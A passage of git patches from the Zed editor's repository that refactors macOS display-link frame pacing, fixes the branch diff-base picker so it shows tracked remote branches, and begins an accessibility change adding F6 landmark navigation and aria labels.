+        };
+        (subscriber_id, link_to_start)
+    };
+
+    if let Some(mut link) = link_to_start {
+        if let Err(error) = unsafe { link.start() } {
+            let mut registry = lock_registry();
+            if let Some(entry) = registry.displays.get_mut(&display_id) {
+                entry.running = false;
+                entry.subscribers.retain(|(id, _)| *id != subscriber_id);
             }
+            return Err(error);
         }
+    }
+
+    Ok(subscriber_id)
+}
 
-        unsafe {
+fn unsubscribe(display_id: CGDirectDisplayID, subscriber_id: SubscriberId) {
+    debug_assert_main_thread();
+
+    let link_to_stop = {
+        let mut registry = lock_registry();
+        let Some(entry) = registry.displays.get_mut(&display_id) else {
+            return;
+        };
+        entry.subscribers.retain(|(id, _)| *id != subscriber_id);
+        if entry.subscribers.is_empty() && entry.running {
+            entry.running = false;
+            Some(entry.link.clone())
+        } else {
+            None
+        }
+    };
+
+    if let Some(mut link) = link_to_stop {
+        // A final output callback can still fire after this returns; it finds
+        // no subscribers for this display and does nothing.
+        unsafe { link.stop().log_err() };
+    }
+}
+
+/// A per-window source of frame requests, paced by the display the window is
+/// on. The wrapped dispatch source coalesces vsync ticks from the display's
+/// io thread and invokes `callback(data)` on the main queue.
+pub struct WindowFrameSource {
+    frame_requests: DispatchRetained<DispatchSource>,
+    registration: Option<(CGDirectDisplayID, SubscriberId)>,
+}
+
+impl WindowFrameSource {
+    pub fn new(data: *mut c_void, callback: extern "C" fn(*mut c_void)) -> Self {
+        let frame_requests = unsafe {
             let frame_requests = DispatchSource::new(
                 &raw const _dispatch_source_type_data_add as *mut _,
                 0,
@@ -41,47 +244,39 @@ impl DisplayLink {
             );
             frame_requests.set_context(data);
             frame_requests.set_event_handler_f(callback);
+            // Resume before this source can ever be dropped: destroying a
+            // suspended dispatch source is undefined behavior (#50875).
             frame_requests.resume();
-
-            let display_link = sys::DisplayLink::new(
-                display_id,
-                display_link_callback,
-                &*frame_requests as *const DispatchSource as *mut c_void,
-            )?;
-
-            Ok(Self {
-                display_link: Some(display_link),
-                frame_requests,
-            })
+            frame_requests
+        };
+        Self {
+            frame_requests,
+            registration: None,
         }
     }
 
-    pub fn start(&mut self) -> Result<()> {
-        unsafe {
-            self.display_link.as_mut().unwrap().start()?;
-        }
+    pub fn start(&mut self, display_id: CGDirectDisplayID) -> Result<()> {
+        self.stop();
+        let subscriber_id = subscribe(display_id, self.frame_requests.clone())?;
+        self.registration = Some((display_id, subscriber_id));
         Ok(())
     }
 
-    pub fn stop(&mut self) -> Result<()> {
-        unsafe {
-            self.display_link.as_mut().unwrap().stop()?;
+    pub fn stop(&mut self) {
+        if let Some((display_id, subscriber_id)) = self.registration.take() {
+            unsubscribe(display_id, subscriber_id);
         }
-        Ok(())
     }
 }
 
-impl Drop for DisplayLink {
+impl Drop for WindowFrameSource {
     fn drop(&mut self) {
-        self.stop().log_err();
-        // We see occasional segfaults on the CVDisplayLink thread.
-        //
-        // It seems possible that this happens because CVDisplayLinkRelease releases the CVDisplayLink
-        // on the main thread immediately, but the background thread that CVDisplayLink uses for timers
-        // is still accessing it.
-        //
-        // We might also want to upgrade to CADisplayLink, but that requires dropping old macOS support.
-        std::mem::forget(self.display_link.take());
+        self.stop();
+        // Unsubscribing makes this source unreachable from the output
+        // callback, so unlike before (ZED-7XR) it is safe to actually release
+        // it. Cancelling first guarantees the event handler never runs again;
+        // its context points at the window's native view, which may be
+        // deallocated after this.
         self.frame_requests.cancel();
     }
 }
diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 011ece9d919547..4314d07cc825f3 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -1,6 +1,6 @@
 use crate::{
-    BoolExt, DisplayLink, MacDisplay, NSRange, NSStringExt, TISCopyCurrentKeyboardInputSource,
-    TISGetInputSourceProperty, events::platform_input_from_native,
+    BoolExt, MacDisplay, NSRange, NSStringExt, TISCopyCurrentKeyboardInputSource,
+    TISGetInputSourceProperty, WindowFrameSource, events::platform_input_from_native,
     kTISPropertyInputSourceIsASCIICapable, kTISPropertyInputSourceType, kTISTypeKeyboardInputMode,
     ns_string, renderer,
 };
@@ -497,7 +497,7 @@ struct MacWindowState {
     background_appearance: WindowBackgroundAppearance,
     cursor_style: CursorStyle,
     cursor_visible: Arc<AtomicBool>,
-    display_link: Option<DisplayLink>,
+    frame_source: Option<WindowFrameSource>,
     renderer: renderer::Renderer,
     request_frame_callback: Option<Box<dyn FnMut(RequestFrameOptions)>>,
     event_callback: Option<Box<dyn FnMut(PlatformInput) -> gpui::DispatchEventResult>>,
@@ -671,16 +671,17 @@ impl MacWindowState {
             // AppKit can temporarily report no screen while displays are being reconfigured.
             return;
         };
-        if let Some(mut display_link) =
-            DisplayLink::new(display_id, self.native_view.as_ptr() as *mut c_void, step).log_err()
-        {
-            display_link.start().log_err();
-            self.display_link = Some(display_link);
-        }
+        let data = self.native_view.as_ptr() as *mut c_void;
+        self.frame_source
+            .get_or_insert_with(|| WindowFrameSource::new(data, step))
+            .start(display_id)
+            .log_err();
     }
 
     fn stop_display_link(&mut self) {
-        self.display_link = None;
+        if let Some(frame_source) = self.frame_source.as_mut() {
+            frame_source.stop();
+        }
     }
 
     fn is_maximized(&self) -> bool {
@@ -891,7 +892,7 @@ impl MacWindow {
                 background_appearance: WindowBackgroundAppearance::Opaque,
                 cursor_style: CursorStyle::Arrow,
                 cursor_visible,
-                display_link: None,
+                frame_source: None,
                 renderer: renderer::new_renderer(
                     renderer_context,
                     native_window as *mut _,
@@ -1171,7 +1172,7 @@ impl Drop for MacWindow {
         this.renderer.destroy();
         let window = this.native_window;
         let sheet_parent = this.sheet_parent.take();
-        this.display_link.take();
+        this.frame_source.take();
         unsafe {
             this.native_window.setDelegate_(nil);
         }

From a21e87c07711e2afa5169cc6d25cf9a0649b7183 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Mon, 13 Jul 2026 20:51:35 +0530
Subject: [PATCH 424/772] git_ui: Fix remote branches missing from branch diff
 base picker (#60765)

The branch picker collapses remote branches that are tracked by a local
branch (e.g. `origin/main` when local `main` tracks it). That makes
sense for checkout, where the remote ref is redundant, but it was also
applied to the branch diff base picker, where `main` and `origin/main`
can point to different commits. As a result, once you switched the diff
base from `origin/main` to `main`, there was no way to switch back.

The tracked-remote collapsing is now only applied in checkout mode (no
changed here). The select (diff base) picker lists both local branches
and their remote upstreams.

Release Notes:

- Fixed remote branches (e.g. `origin/main`) not appearing in the branch
diff base picker, making it impossible to switch back after changing the
base to another branch.
---
 crates/git_ui/src/branch_picker.rs | 172 +++++++++++++++++++++++------
 crates/project/src/git_store.rs    |   5 +
 2 files changed, 143 insertions(+), 34 deletions(-)

diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index fbe39b5b7b073c..61ed9987a22b43 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -264,7 +264,7 @@ impl BranchList {
             .map(|repo| {
                 process_branches(
                     &repo.read(cx).branch_list,
-                    branch_selection_behavior.selected_branch(),
+                    !branch_selection_behavior.is_select_only(),
                 )
             })
             .unwrap_or_default();
@@ -318,7 +318,7 @@ impl BranchList {
                                 .and_then(|entry| entry.as_branch().map(|b| b.ref_name.clone()));
                             picker.delegate.all_branches = process_branches(
                                 &branch_list,
-                                picker.delegate.branch_selection_behavior.selected_branch(),
+                                !picker.delegate.branch_selection_behavior.is_select_only(),
                             );
                             picker.delegate.branch_list_error = branch_list_error;
                             picker.refresh(window, cx);
@@ -917,31 +917,30 @@ fn sort_branch_entries(
     });
 }
 
-fn process_branches(
-    branches: &Arc<[Branch]>,
-    preserved_branch: Option<&SharedString>,
-) -> Vec<Branch> {
-    let remote_upstreams: HashSet<_> = branches
-        .iter()
-        .filter_map(|branch| {
-            branch
-                .upstream
-                .as_ref()
-                .filter(|upstream| upstream.is_remote())
-                .map(|upstream| upstream.ref_name.clone())
-        })
-        .collect();
-
-    let mut result: Vec<Branch> = branches
-        .iter()
-        .filter(|branch| {
-            !remote_upstreams.contains(&branch.ref_name)
-                || preserved_branch
+// Tracked remote branches are:
+// - collapsed when checking out to avoid detaching HEAD.
+// - kept when selecting a diff base because they may point to a different commit.
+fn process_branches(branches: &Arc<[Branch]>, collapse_tracked_remotes: bool) -> Vec<Branch> {
+    let mut result: Vec<Branch> = if collapse_tracked_remotes {
+        let remote_upstreams: HashSet<_> = branches
+            .iter()
+            .filter_map(|branch| {
+                branch
+                    .upstream
                     .as_ref()
-                    .is_some_and(|preserved_branch| branch_matches_ref(branch, preserved_branch))
-        })
-        .cloned()
-        .collect();
+                    .filter(|upstream| upstream.is_remote())
+                    .map(|upstream| upstream.ref_name.clone())
+            })
+            .collect();
+
+        branches
+            .iter()
+            .filter(|branch| !remote_upstreams.contains(&branch.ref_name))
+            .cloned()
+            .collect()
+    } else {
+        branches.to_vec()
+    };
 
     result.sort_by_key(|branch| {
         (
@@ -2124,8 +2123,7 @@ mod tests {
     }
 
     #[test]
-    fn test_select_branch_preserves_selected_remote_upstream_and_prioritizes_active_remote_branches()
-     {
+    fn test_select_branch_shows_tracked_remotes_and_prioritizes_active_remote_branches() {
         let selected_branch = SharedString::from("origin/main");
         let branches: Arc<[Branch]> = Arc::from([
             create_test_branch_with_upstream(
@@ -2147,18 +2145,25 @@ mod tests {
             create_test_branch("main", false, Some("fork"), Some(800)),
         ]);
 
-        let processed_branches = process_branches(&branches, Some(&selected_branch));
+        let checkout_branches = process_branches(&branches, true);
         assert!(
-            processed_branches
+            checkout_branches
                 .iter()
-                .any(|branch| branch.name() == "origin/main"),
-            "the selected remote branch should be preserved even when a local branch tracks it"
+                .all(|branch| branch.name() != "origin/main" && branch.name() != "origin/feature"),
+            "remote branches tracked by a local branch should be collapsed when checking out"
+        );
+
+        let processed_branches = process_branches(&branches, false);
+        assert_eq!(
+            processed_branches.len(),
+            branches.len(),
+            "no branches should be filtered out when selecting a branch"
         );
         assert!(
             processed_branches
                 .iter()
-                .all(|branch| branch.name() != "origin/feature"),
-            "the active branch's unselected remote upstream should still be collapsed"
+                .any(|branch| branch.name() == "origin/main"),
+            "remote branches should be selectable even when a local branch tracks them"
         );
 
         let mut entries = processed_branches
@@ -2884,6 +2889,105 @@ mod tests {
         assert!(BranchFilter::Remote.next() == BranchFilter::All);
     }
 
+    #[gpui::test]
+    async fn test_select_picker_lists_remote_branch_tracked_by_local_branch(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        let (project, repository) = init_fake_repository(cx).await;
+        cx.run_until_parked();
+
+        // Local `main` tracks `origin/main`; the two can point to different
+        // commits, so both must be offered when picking a diff base.
+        let branches = vec![
+            create_test_branch_with_upstream(
+                "main",
+                true,
+                None,
+                Some(1000),
+                Some("refs/remotes/origin/main"),
+            ),
+            create_test_branch("main", false, Some("origin"), Some(900)),
+        ];
+        repository.update(cx, |repository, cx| {
+            repository.set_branch_list_for_test(branches, cx);
+        });
+
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = window_handle
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+
+        let checkout_list = window_handle
+            .update(cx, |_, window, cx| {
+                cx.new(|cx| {
+                    BranchList::new(
+                        workspace.downgrade(),
+                        Some(repository.clone()),
+                        BranchListStyle::Modal,
+                        rems(34.),
+                        window,
+                        cx,
+                    )
+                })
+            })
+            .unwrap();
+        let select_list = window_handle
+            .update(cx, |_, window, cx| {
+                cx.new(|cx| {
+                    BranchList::new_select(
+                        workspace.downgrade(),
+                        Some(repository.clone()),
+                        BranchListStyle::Modal,
+                        rems(34.),
+                        Some("main".into()),
+                        Arc::new(|_: Branch, _: &mut Window, _: &mut App| {}),
+                        window,
+                        cx,
+                    )
+                })
+            })
+            .unwrap();
+
+        let mut ctx = VisualTestContext::from_window(window_handle.into(), cx);
+        let cx = &mut ctx;
+
+        update_branch_list_matches_with_empty_query(&checkout_list, cx).await;
+        checkout_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                let names = picker
+                    .delegate
+                    .matches
+                    .iter()
+                    .map(Entry::name)
+                    .collect::<Vec<_>>();
+                assert_eq!(
+                    names,
+                    vec!["main"],
+                    "the checkout picker should collapse remote branches tracked by a local branch"
+                );
+            })
+        });
+
+        update_branch_list_matches_with_empty_query(&select_list, cx).await;
+        select_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                let names = picker
+                    .delegate
+                    .matches
+                    .iter()
+                    .map(Entry::name)
+                    .collect::<HashSet<_>>();
+                assert_eq!(
+                    names,
+                    ["main", "origin/main"].into_iter().collect::<HashSet<_>>(),
+                    "the select picker should offer both a local branch and its remote upstream"
+                );
+            })
+        });
+    }
+
     #[gpui::test]
     async fn test_new_branch_creation_with_query(cx: &mut TestAppContext) {
         const MAIN_BRANCH: &str = "main";
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 550433c7ec8d32..f2aa24d51a561c 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -9904,6 +9904,11 @@ async fn append_pattern_to_ignore_file(
 
 #[cfg(any(test, feature = "test-support"))]
 impl Repository {
+    pub fn set_branch_list_for_test(&mut self, branches: Vec<Branch>, cx: &mut Context<Self>) {
+        self.snapshot.branch_list = branches.into();
+        cx.emit(RepositoryEvent::BranchListChanged);
+    }
+
     pub fn loaded_commit_data_for_test(&self) -> HashMap<Oid, CommitData> {
         self.commit_data
             .iter()

From 2268045a119030735f762e5afaf59da0bda869f4 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Mon, 13 Jul 2026 17:37:28 +0100
Subject: [PATCH 425/772] a11y: Landmarks and menu improvements (#60397)

Fixes menu a11y, and adds landmarks with `F6`-navigation.

Also fixes a GPUI bug, and adds debug actions for dumping a11y tree
info.

Since `F6` was already in use by the pause debugger keybind, also
tightens up the debugger keybind context so they require an active
debugger session. When there is one active, `F6` stays as pause
debugger. `ctrl-F6` always works to go to the next landmark.

Also adds an "accessible mode" setting. Currently, this only controls
whether we show all menus all the time, but I suspect it will expand
significantly in the future.

Also adds `.aria_keyshortcuts()` API, but it's not wired up within
accesskit adapters, so is not yet reported to screen readers.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                    |  12 +
 Cargo.toml                                    |   2 +-
 assets/keymaps/default-linux.json             |  28 +-
 assets/keymaps/default-macos.json             |  29 +-
 assets/keymaps/default-windows.json           |  27 +-
 assets/settings/default.json                  |   3 +
 .../src/activity_indicator.rs                 |   1 +
 crates/diagnostics/src/items.rs               |  23 ++
 .../src/edit_prediction_button.rs             |  16 +-
 .../src/active_buffer_encoding.rs             |   1 +
 crates/git_ui/src/conflict_view.rs            |   2 +
 crates/go_to_line/src/cursor_position.rs      |   5 +
 crates/gpui/src/element.rs                    |  32 ++
 crates/gpui/src/elements/div.rs               | 240 ++++++++----
 crates/gpui/src/tab_stop.rs                   |   4 +
 crates/gpui/src/view.rs                       |   7 +
 crates/gpui/src/window.rs                     |  14 +-
 crates/gpui/src/window/a11y.rs                | 104 +++++-
 crates/gpui/src/window/a11y/debug.rs          | 330 ++++++++++++++++
 .../src/active_buffer_language.rs             |   4 +-
 crates/language_tools/src/lsp_button.rs       |   2 +
 .../src/line_ending_indicator.rs              |   1 +
 crates/search/src/search_status_button.rs     |   2 +
 crates/settings/src/vscode_import.rs          |   1 +
 crates/settings_content/src/workspace.rs      |   5 +
 crates/settings_ui/src/components/dropdown.rs |  12 +
 .../settings_ui/src/components/input_field.rs |  13 +
 .../src/components/number_field.rs            |  16 +
 .../src/components/ollama_model_picker.rs     |  23 +-
 crates/settings_ui/src/page_data.rs           |  14 +
 .../src/pages/audio_input_output_setup.rs     |  20 +-
 .../src/pages/audio_test_window.rs            |   4 +
 crates/settings_ui/src/settings_ui.rs         |  79 ++--
 crates/title_bar/src/application_menu.rs      |  23 +-
 crates/title_bar/src/title_bar.rs             |  38 +-
 .../src/active_toolchain.rs                   |   1 +
 crates/ui/src/components/button/button.rs     |  38 +-
 .../ui/src/components/button/button_like.rs   |  41 +-
 crates/ui/src/components/context_menu.rs      |  66 +++-
 crates/ui/src/components/dropdown_menu.rs     |  47 +++
 crates/ui/src/components/keybinding.rs        |  44 +++
 crates/ui/src/components/list/list_item.rs    |  33 +-
 crates/ui/src/components/toggle.rs            |  22 +-
 crates/workspace/src/dock.rs                  |   2 +
 crates/workspace/src/status_bar.rs            |  64 +++-
 crates/workspace/src/workspace.rs             | 352 +++++++++++++++++-
 crates/workspace/src/workspace_settings.rs    |  38 +-
 crates/zed/src/zed.rs                         |  70 ++++
 48 files changed, 1790 insertions(+), 165 deletions(-)
 create mode 100644 crates/gpui/src/window/a11y/debug.rs

diff --git a/Cargo.lock b/Cargo.lock
index 5fec34525d9406..c052ace3eb115b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8,6 +8,7 @@ version = "0.24.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d3b7f7f85a7e5f68090000ed7622545829afd484d210358702ae4cb97dd0c320"
 dependencies = [
+ "enumn",
  "uuid",
 ]
 
@@ -5992,6 +5993,17 @@ dependencies = [
  "syn 2.0.117",
 ]
 
+[[package]]
+name = "enumn"
+version = "0.1.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2f9ed6b3789237c8a0c1c505af1c7eb2c560df6186f01b098c3a1064ea532f38"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "env_filter"
 version = "0.1.4"
diff --git a/Cargo.toml b/Cargo.toml
index 90eb3c0c4eeb71..45086218b36c4a 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -504,7 +504,7 @@ ztracing_macro = { path = "crates/ztracing_macro" }
 # External crates
 #
 
-accesskit = "0.24.0"
+accesskit = { version = "0.24.0", features = ["enumn"] }
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 0e9ec9eda701a5..83212d3f061c4e 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -34,12 +34,6 @@
       "ctrl-alt-,": "zed::OpenSettingsFile",
       "ctrl-q": "zed::Quit",
       "f4": "debugger::Start",
-      "shift-f5": "debugger::Stop",
-      "ctrl-shift-f5": "debugger::RerunSession",
-      "f6": "debugger::Pause",
-      "f7": "debugger::StepOver",
-      "ctrl-f11": "debugger::StepInto",
-      "shift-f11": "debugger::StepOut",
       "f11": "zed::ToggleFullScreen",
       "ctrl-alt-z": "edit_prediction::RatePredictions",
       "ctrl-alt-shift-i": "edit_prediction::ToggleMenu",
@@ -629,6 +623,13 @@
   {
     "context": "Workspace",
     "bindings": {
+      // Move focus between the major regions of the window (editor, open
+      // panels, status bar). Accessibility navigation; mirrors VS Code's
+      // "Focus Next/Previous Part". `ctrl-f6` mirrors `f6` so region navigation
+      // stays available even while a debug session rebinds plain `f6` to Pause.
+      "f6": "workspace::FocusNextPart",
+      "shift-f6": "workspace::FocusPreviousPart",
+      "ctrl-f6": "workspace::FocusNextPart",
       "alt-open": "projects::OpenRecent",
       // Change the default action on `menu::Confirm` by setting the parameter
       // "alt-ctrl-o": ["projects::OpenRecent", { "create_new_window": true }],
@@ -1097,6 +1098,21 @@
       "alt-shift-escape": "git::ToggleFillCommitEditor",
     },
   },
+  {
+    // While a debug session is live, debugger controls take over their F-keys.
+    // `f6` becomes Pause (region navigation stays on `ctrl-f6` / `shift-f6`),
+    // and step/stop/rerun are scoped here so they're inert when not debugging.
+    // `debugger::Start` stays global so a session can be started from anywhere.
+    "context": "Workspace && debugger_session",
+    "bindings": {
+      "f6": "debugger::Pause",
+      "shift-f5": "debugger::Stop",
+      "ctrl-shift-f5": "debugger::RerunSession",
+      "f7": "debugger::StepOver",
+      "ctrl-f11": "debugger::StepInto",
+      "shift-f11": "debugger::StepOut",
+    },
+  },
   {
     "context": "DebugPanel",
     "bindings": {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index e1f30d0a03be5f..95eacd8f8c4535 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -4,12 +4,6 @@
     "use_key_equivalents": true,
     "bindings": {
       "f4": "debugger::Start",
-      "shift-f5": "debugger::Stop",
-      "shift-cmd-f5": "debugger::RerunSession",
-      "f6": "debugger::Pause",
-      "f7": "debugger::StepOver",
-      "ctrl-f11": "debugger::StepInto",
-      "shift-f11": "debugger::StepOut",
       "home": "menu::SelectFirst",
       "shift-pageup": "menu::SelectFirst",
       "pageup": "menu::SelectFirst",
@@ -694,6 +688,13 @@
     "context": "Workspace",
     "use_key_equivalents": true,
     "bindings": {
+      // Move focus between the major regions of the window (editor, open
+      // panels, status bar). Accessibility navigation; mirrors VS Code's
+      // "Focus Next/Previous Part". `cmd-f6` mirrors `f6` so region navigation
+      // stays available even while a debug session rebinds plain `f6` to Pause.
+      "f6": "workspace::FocusNextPart",
+      "shift-f6": "workspace::FocusPreviousPart",
+      "cmd-f6": "workspace::FocusNextPart",
       // Change the default action on `menu::Confirm` by setting the parameter
       // "alt-cmd-o": ["projects::OpenRecent", {"create_new_window": true }],
       "alt-cmd-o": "projects::OpenRecent",
@@ -1158,6 +1159,22 @@
       "alt-tab": "git::GenerateCommitMessage",
     },
   },
+  {
+    // While a debug session is live, debugger controls take over their F-keys.
+    // `f6` becomes Pause (region navigation stays on `cmd-f6` / `shift-f6`),
+    // and step/stop/rerun are scoped here so they're inert when not debugging.
+    // `debugger::Start` stays global so a session can be started from anywhere.
+    "context": "Workspace && debugger_session",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f6": "debugger::Pause",
+      "shift-f5": "debugger::Stop",
+      "shift-cmd-f5": "debugger::RerunSession",
+      "f7": "debugger::StepOver",
+      "ctrl-f11": "debugger::StepInto",
+      "shift-f11": "debugger::StepOut",
+    },
+  },
   {
     "context": "DebugPanel",
     "bindings": {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 0e3932a7dba845..a000c2506a9a96 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -33,11 +33,6 @@
       "ctrl-alt-,": "zed::OpenSettingsFile",
       "ctrl-q": "zed::Quit",
       "f4": "debugger::Start",
-      "shift-f5": "debugger::Stop",
-      "ctrl-shift-f5": "debugger::RerunSession",
-      "f6": "debugger::Pause",
-      "f10": "debugger::StepOver",
-      "shift-f11": "debugger::StepOut",
       "f11": "zed::ToggleFullScreen",
       "ctrl-shift-i": "edit_prediction::ToggleMenu",
       "shift-alt-l": "lsp_tool::ToggleMenu",
@@ -627,6 +622,13 @@
     "context": "Workspace",
     "use_key_equivalents": true,
     "bindings": {
+      // Move focus between the major regions of the window (editor, open
+      // panels, status bar). Accessibility navigation; mirrors VS Code's
+      // "Focus Next/Previous Part". `ctrl-f6` mirrors `f6` so region navigation
+      // stays available even while a debug session rebinds plain `f6` to Pause.
+      "f6": "workspace::FocusNextPart",
+      "shift-f6": "workspace::FocusPreviousPart",
+      "ctrl-f6": "workspace::FocusNextPart",
       // Change the default action on `menu::Confirm` by setting the parameter
       // "ctrl-alt-o": ["projects::OpenRecent", { "create_new_window": true }],
       "ctrl-r": "projects::OpenRecent",
@@ -1094,6 +1096,21 @@
       "alt-shift-escape": "git::ToggleFillCommitEditor",
     },
   },
+  {
+    // While a debug session is live, debugger controls take over their F-keys.
+    // `f6` becomes Pause (region navigation stays on `ctrl-f6` / `shift-f6`),
+    // and step/stop/rerun are scoped here so they're inert when not debugging.
+    // `debugger::Start` stays global so a session can be started from anywhere.
+    "context": "Workspace && debugger_session",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f6": "debugger::Pause",
+      "shift-f5": "debugger::Stop",
+      "ctrl-shift-f5": "debugger::RerunSession",
+      "f10": "debugger::StepOver",
+      "shift-f11": "debugger::StepOut",
+    },
+  },
   {
     "context": "DebugPanel",
     "use_key_equivalents": true,
diff --git a/assets/settings/default.json b/assets/settings/default.json
index 0e42d27e980342..1d4ea7a1f5ee75 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -233,6 +233,9 @@
   //
   // Default: "client"
   "window_decorations": "client",
+  // Whether to optimize Zed's interface for assistive technology such as screen
+  // readers.
+  "accessible_mode": false,
   // Whether to use the system provided dialogs for Open and Save As.
   // When set to false, Zed will use the built-in keyboard-first pickers.
   "use_system_path_prompts": true,
diff --git a/crates/activity_indicator/src/activity_indicator.rs b/crates/activity_indicator/src/activity_indicator.rs
index 4ca66790b0eb3d..70871044e6ed1a 100644
--- a/crates/activity_indicator/src/activity_indicator.rs
+++ b/crates/activity_indicator/src/activity_indicator.rs
@@ -671,6 +671,7 @@ impl Render for ActivityIndicator {
                         }
                     })
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
                     .map(|this| match content.icon {
                         ActivityIcon::LoadingSpinner => this.loading(true),
                         ActivityIcon::Icon(icon_name) => this.start_icon(
diff --git a/crates/diagnostics/src/items.rs b/crates/diagnostics/src/items.rs
index 9f243c781021cd..724d58e3fc6248 100644
--- a/crates/diagnostics/src/items.rs
+++ b/crates/diagnostics/src/items.rs
@@ -74,6 +74,7 @@ impl Render for DiagnosticIndicator {
                 Button::new("diagnostic_message", SharedString::new(message))
                     .label_size(LabelSize::Small)
                     .truncate(true)
+                    .tab_index(0isize)
                     .tooltip(move |_window, cx| {
                         Tooltip::for_action(
                             tooltip,
@@ -89,10 +90,32 @@ impl Render for DiagnosticIndicator {
             None
         };
 
+        let diagnostics_label = match (self.summary.error_count, self.summary.warning_count) {
+            (0, 0) => "Project diagnostics: no problems".to_string(),
+            (errors, warnings) => {
+                let mut parts = Vec::new();
+                if errors > 0 {
+                    parts.push(format!(
+                        "{errors} error{}",
+                        if errors == 1 { "" } else { "s" }
+                    ));
+                }
+                if warnings > 0 {
+                    parts.push(format!(
+                        "{warnings} warning{}",
+                        if warnings == 1 { "" } else { "s" }
+                    ));
+                }
+                format!("Project diagnostics: {}", parts.join(", "))
+            }
+        };
+
         indicator
             .child(
                 ButtonLike::new("diagnostic-indicator")
                     .child(diagnostic_indicator)
+                    .tab_index(0isize)
+                    .aria_label(diagnostics_label)
                     .tooltip(move |_window, cx| {
                         Tooltip::for_action("Project Diagnostics", &Deploy, cx)
                     })
diff --git a/crates/edit_prediction_ui/src/edit_prediction_button.rs b/crates/edit_prediction_ui/src/edit_prediction_button.rs
index 46a2dc6c743cd8..703fe9f3d8877e 100644
--- a/crates/edit_prediction_ui/src/edit_prediction_button.rs
+++ b/crates/edit_prediction_ui/src/edit_prediction_button.rs
@@ -108,6 +108,8 @@ impl Render for EditPredictionButton {
                     return div().child(
                         IconButton::new("copilot-error", icon)
                             .icon_size(IconSize::Small)
+                            .tab_index(0isize)
+                            .aria_label("GitHub Copilot")
                             .on_click(cx.listener(move |_, _, window, cx| {
                                 if let Some(workspace) = Workspace::for_window(window, cx) {
                                     workspace.update(cx, |workspace, cx| {
@@ -172,7 +174,9 @@ impl Render for EditPredictionButton {
                         })
                         .anchor(Anchor::BottomRight)
                         .trigger_with_tooltip(
-                            IconButton::new("copilot-icon", icon),
+                            IconButton::new("copilot-icon", icon)
+                                .tab_index(0isize)
+                                .aria_label("GitHub Copilot"),
                             |_window, cx| Tooltip::for_action("GitHub Copilot", &ToggleMenu, cx),
                         )
                         .with_handle(self.popover_menu_handle.clone()),
@@ -218,6 +222,8 @@ impl Render for EditPredictionButton {
                         .trigger_with_tooltip(
                             IconButton::new("codestral-icon", IconName::AiMistral)
                                 .shape(IconButtonShape::Square)
+                                .tab_index(0isize)
+                                .aria_label("Edit Prediction")
                                 .when(!has_api_key, |this| {
                                     this.indicator(Indicator::dot().color(Color::Error))
                                         .indicator_border_color(Some(
@@ -262,6 +268,8 @@ impl Render for EditPredictionButton {
                         .trigger(
                             IconButton::new("openai-compatible-api-icon", IconName::AiOpenAiCompat)
                                 .shape(IconButtonShape::Square)
+                                .tab_index(0isize)
+                                .aria_label("Edit Prediction")
                                 .when(!enabled, |this| {
                                     this.indicator(Indicator::dot().color(Color::Ignored))
                                         .indicator_border_color(Some(
@@ -292,6 +300,8 @@ impl Render for EditPredictionButton {
                         .trigger_with_tooltip(
                             IconButton::new("ollama-icon", IconName::AiOllama)
                                 .shape(IconButtonShape::Square)
+                                .tab_index(0isize)
+                                .aria_label("Edit Prediction")
                                 .when(!enabled, |this| {
                                     this.indicator(Indicator::dot().color(Color::Ignored))
                                         .indicator_border_color(Some(
@@ -375,6 +385,8 @@ impl Render for EditPredictionButton {
                     return div().child(
                         IconButton::new("zed-predict-pending-button", ep_icon)
                             .shape(IconButtonShape::Square)
+                            .tab_index(0isize)
+                            .aria_label("Edit Predictions")
                             .indicator(Indicator::dot().color(Color::Muted))
                             .indicator_border_color(Some(cx.theme().colors().status_bar_background))
                             .tooltip(move |_window, cx| {
@@ -430,6 +442,8 @@ impl Render for EditPredictionButton {
 
                 let icon_button = IconButton::new("zed-predict-pending-button", ep_icon)
                     .shape(IconButtonShape::Square)
+                    .tab_index(0isize)
+                    .aria_label("Edit Prediction")
                     .when_some(indicator_color, |this, color| {
                         this.indicator(Indicator::dot().color(color))
                             .indicator_border_color(Some(cx.theme().colors().status_bar_background))
diff --git a/crates/encoding_selector/src/active_buffer_encoding.rs b/crates/encoding_selector/src/active_buffer_encoding.rs
